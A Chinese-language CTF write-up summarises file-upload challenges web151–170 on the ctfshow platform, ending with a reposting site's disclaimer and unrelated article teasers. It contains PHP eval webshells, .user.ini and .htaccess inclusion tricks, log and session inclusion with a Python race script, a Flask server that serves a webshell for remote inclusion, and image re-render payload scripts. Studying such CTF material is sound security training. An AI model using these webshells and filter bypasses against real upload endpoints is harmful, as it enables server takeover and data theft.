ctfshow web入门文件上传总结

1.web151

前端验证
前端验证,修改html代码,上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag

<?php eval($_POST[1])?>

2.web152

后端验证,修改mime类型(content-type)
burp抓包,修改content-type为image/png

3.web153

.user.ini类
后端验证mime类型,只能是图片格式,不能有php后缀
.user.ini配置文件
burp抓包,上传.user.ini,此配置文件时nginx服务的配置文件,写入auto_prepend_file=2.jpg,在上传2.jpg,之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php添加到蚁剑中即可读取flag,访问此链接时会自动包含2.jpg

.user.ini利用需要在此目录下还有php文件,user.ini 上传的文件  原有的php文件需要在同一目录下
.user.ini
auto_prepend_file   表示在文件头包含
auto_append_file  表示在文件尾包含

4.web154

.user.ini类+检测文件内容
后端检查文件内容 类型 不能有php,需要mime类型为图片格式,不能有php后缀
上传.user.ini 写入auto_prepend_file=2.png ,在上传2.php 写一句话木马 < eval($_POST[1])>,在把链接加到蚁剑即可读取flag

5.web155

.user.ini类+检测文件内容
文件内容中不能有php,图片必须是png格式,不能有php后缀

php短标签

<? echo '123';?>
<?=(表达式)?>  等价于 <?php echo (表达式)?>
<% echo '123';%>
<script language=”php”>echo '123'; </script>

6.web156

.user.ini类+检测文件内容
文件内容中不能有php,[],图片必须是png格式 ,不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=2.png,在上传2.png ,写入<php system(“cat /var/www/html/flag.”)>,访问链接就可得到flag (http://…/upload/index.php)

7.web157

.user.ini类+检测文件内容
文件内容中不能有php,[],;, 图片必须是png格式 ,不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<php system(“cat /var/www/html/flag.”)>,访问链接就可得到flag (http://…/upload/index.php)

8.web158

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<php system(“cat /var/www/html/flag.”)>,访问链接就可得到flag (http://…/upload/index.php)

9.web159

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},(),图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<=`tac …/f*`>,这里的短链接没=是执行不了的,访问链接就可得到flag (http://…/upload/index.php)

10.web160

日志包含配和文件上传(.user.ini)
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<=include"/var/lo".“g/nginx/access.lo”.“g”>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<php eval($_POST[1])>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)>,得到flag

11.web161

日志包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
这题注意上传直接上传图片是不行的
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入 GIF89a <=include"/var/lo".“g/nginx/access.lo”.“g”>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<php eval($_POST[1])>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)>,得到flag

12.web162

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<=include"/tmp/sess_1">,在上传.user.ini,写入GIF89a
auto_prepend_file=png

import requests
import threading
session=requests.session()
sess='1'    #和png后面要包含文件的对应 
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={'file':'1'  #无所谓
}
cookies={'PHPSESSID': sess
}def write():while True:r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():while True:r = session.get(url2)if 'flag' in r.text:print(r.text)threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()
]

13.web163

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
远程文件包含和文件上传(.user.ini) 检测文件头 绕过getimagesize
第二种方法也适用与上一题
1.和上题一样
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<=include"/tmp/sess_1">,在上传.user.ini,写入GIF89a
auto_prepend_file=png
2.
可以使用远程文件包含,上传.user.ini,需要把ip转换为数字,注意远程web服务器需要为路由型,这里使用python的flask框架,之后在进行命令执行即可
或者传.user.ini和png分别写入以下内容,这题不行,在上传的一瞬间png文件被删除了
.user.ini
GIF89a
auto_prepend_file=png

png
GIF89a

<=include"http://10200352//">

from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():return '<?php @eval($_POST[1]);?>'
if __name__ == '__main__':app.run(port=80,host='0.0.0.0')

14.web164

考察png二次渲染

png渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>

15.web165

考察jpg二次渲染
照片选择这张成功率会高很多
请添加图片描述

先把这张照片上传到服务器上,在把服务器上已经渲染好的照片下载下来,使用下载下来的照片使用下方的jpg渲染脚本插入php代码

jpg渲染脚本(特别注意需要在linux环境下运行此脚本,windows运行无法渲染成功)
`

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');
}
if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}
}
unlink('payload_'.$argv[1]);
die('Something's wrong');
function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}
}
class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip){$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}
}
?>

16.web166

考察zip文件上传

17.web167

考察apache配置文件.htaccess

<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片马即可

18.web168

基础免杀,过滤post,get,eval等

<?php $_REQUEST[1]($_REQUEST[2])?>

19.web169

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

20.web170

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

var code = “ebb7a1ab-dbdd-468b-be74-dbc47c11310d”

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/494339.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

R9000P键盘失灵解决办法

问题描述 突然&#xff0c;就是很突然&#xff0c;我买的R9000P 2024不到三个月&#xff0c;键盘突然都不能用了&#xff0c;是所有键盘按键都无效的那种。&#xff08;可以使用外接键盘&#xff09; 解决办法 我本科室友说的好哈&#xff0c;全坏全没坏。 &#xff08;该解…

vscode添加全局宏定义

利用vscode编辑代码时&#xff0c;设置了禁用非活动区域着色后&#xff0c;在一些编译脚本中配置的宏又识别不了 遇到#ifdef包住的代码就会变暗色&#xff0c;想查看代码不是很方便。如下图&#xff1a; 一 解决&#xff1a; 在vscode中添加全局宏定义。 二 步骤&#xff1a…

KingbaseES(金仓数据库)入门学习

前言 金仓是一种多进程架构&#xff0c;每一个连接到服务器的会话&#xff0c;在服务器上面都会为该会话分配进程 图形化界面管理 新建数据库名 然后新建一个模式 再创建一个表 新建一个表&#xff0c;然后设置列名 记得要保存 查询数据 也可以新建数据表&#xff0c;用命令…

SpringCloud 入门(3)—— Nacos配置中心

上一篇&#xff1a;SpringCloud 入门&#xff08;2&#xff09;—— 跨服务调度-CSDN博客 Nacos是阿里巴巴开源的服务发现与配置管理基础设施&#xff0c;旨在帮助开发者更轻松地构建云原生应用。它提供了一组简单易用的特性集&#xff0c;支持动态服务发现、配置管理和服务管理…

中地数码亮相2024武汉市数字经济应用场景对接大会

为推动数字经济应用场景供需有效精准对接&#xff0c;加快新技术新产品在汉应用推广&#xff0c;12月16日&#xff0c;由武汉市数据局主办的2024武汉市数字经济应用场景对接暨揭榜挂帅项目发布会成功举行。作为国产GIS基础软件领军企业&#xff0c;中地数码受邀出席作数字赋能产…

《解锁 Python 数据挖掘的奥秘》

《解锁 Python 数据挖掘的奥秘》 一、Python 数据挖掘基础&#xff08;一&#xff09;Python 基础与数据挖掘环境搭建&#xff08;二&#xff09;数据挖掘基本流程概述 二、Python 数据挖掘核心技术&#xff08;一&#xff09;数据收集与预处理技术&#xff08;二&#xff09;常…

如何学习Trustzone

阅读官方文档 ARM 官方文档是学习 Trustzone 最权威的资料来源。例如&#xff0c;ARM Architecture Reference Manual 中详细介绍了 Trustzone 的架构原理、寄存器定义和操作模式等内容。这些文档虽然比较复杂&#xff0c;但能够提供最准确的技术细节&#xff0c;适合在学习过…

Gaea学习笔记总结

Gaea 是一款地形创建软件&#xff0c;它内置了丰富的地貌节点&#xff0c;能快速生成像山脉、荒原峡谷、河流、湖泊等地貌特征。 节点解释使用方法概述Primitives&#xff08;基本体&#xff09;Constant&#xff08;常数&#xff09;创建输出&#xff0c;一般用来输出Hight&am…

Pytorch | 从零构建MobileNet对CIFAR10进行分类

Pytorch | 从零构建MobileNet对CIFAR10进行分类 CIFAR10数据集MobileNet设计理念网络结构技术优势应用领域 MobileNet结构代码详解结构代码代码详解DepthwiseSeparableConv 类初始化方法前向传播 forward 方法 MobileNet 类初始化方法前向传播 forward 方法 训练过程和测试结果…

深度学习0-前置知识

一、背景 AI最大&#xff0c;它的目的是通过让机器模仿人类进而超越人类&#xff1b; ML次之&#xff0c;它是AI的一个分支&#xff0c;是让机器模仿人类的一种方法。开发人员用大量数据和算法“训练”机器&#xff0c;让机器自行学会如何执行任务&#xff0c;它的成功取决于…

【java基础系列】实现数字的首位交换算法

在java中&#xff0c;手写实现一个数字的首位交换算法实现 实现效果 实现代码 核心业务代码 public static void main(String[] args) {int[] arr {1,2,3,4,5};int temp arr[0];for (int i 0; i < arr.length; i) {System.out.print(arr[i]);}System.out.println(&quo…

C语言初阶习题【14】数9的个数

1.编写程序数一下 1到 100 的所有整数中出现多少个数字9 2.思路 循环遍历1到100&#xff0c;需要判断每一位的个位数是否为9&#xff0c;十位数是否为9&#xff0c;每次符合条件就count进行计数&#xff0c;最后输出count&#xff0c;即可 3.code #define _CRT_SECURE_NO_W…

Debian11 安装MYSQL8 签名错误

前言 今天在新装的Debian11上安装MSYQL8,出现了如下错误 看了下是签名错误&#xff0c;下面具体提供下解决版本 安全mysql vim /etc/apt/sources.list 我使用的阿里源 deb https://mirrors.aliyun.com/debian/ bullseye main non-free contrib deb-src https://mirrors.al…

C++----类与对象(下篇)

再谈构造函数 回顾函数体内赋值 在创建对象时&#xff0c;编译器通过调用构造函数&#xff0c;给对象中各个成员变量一个合适的初始值。 class Date{ public: Date(int year, int month, int day) { _year year; _month month; _day day; } private: int _year; int _mo…

基于SpringBoot的山西文旅网系统

一、系统背景与意义 在经济全球化背景之下&#xff0c;互联网技术将进一步提高社会综合发展的效率和速度&#xff0c;也将涉及到各个领域&#xff0c;而山西文旅网在网络背景下有着无法忽视的作用。山西作为中国的文化大省&#xff0c;拥有丰富的旅游资源和深厚的文化底蕴。为…

UWB无载波通信技术,UWB定位系统源码

UWB(Ultra Wideband)是一种无载波通信技术&#xff0c;利用纳秒至微秒级的非正弦波窄脉冲传输数据。通过在较宽的频谱上传送极低功率的信号。UWB技术解决了困扰传统无线通信技术多年的有关传播方面的重大难题&#xff0c;具有对信道衰落不敏感、发射信号功率谱密度低、截获率低…

OSPF的状态机

OSPF的状态机-- 当设备启动之后会自动从down进入到init初始化状 态&#xff0c;发送hello报文&#xff0c;如果收到hello报文中携带自己的RID就会自动进入two-way状态---标志设备邻居关系建立的标志 条件匹配--- FULL状态 工作完成的状态&#xff1a;标志邻接关系的建立 OS…

云原生服务网格Istio实战

基础介绍 1、Istio的定义 Istio 是一个开源服务网格&#xff0c;它透明地分层到现有的分布式应用程序上。 Istio 强大的特性提供了一种统一和更有效的方式来保护、连接和监视服务。 Istio 是实现负载平衡、服务到服务身份验证和监视的路径——只需要很少或不需要更改服务代码…

Vue进阶之Vue RouterSSR

Vue Router&SSR VueRouter前端路由模式路由的简单使用动态参数路由编程式导航 手写一个vueRouterrouter/core.jsrouter/index.jsmain.jsApp.vueHome.vueAbout.vue vue-router原理总的package.json&packagesscripts重点&#xff1a;packages/router包package.jsonpackag…

Springboot应用开发:配置类整理

目录 编写目的 一、线程池 1.1 setCorePoolSize 1.2 setMaxPoolSize 1.3 setQueueCapacity 1.4 setKeepAliveSeconds 1.5 setThreadNamePrefix 1.6 setRejectedExecutionHandler 1.7 示例代码 二、Durid数据库连接池 2.1 ServletRegistrationBean 2.2 FilterRegist…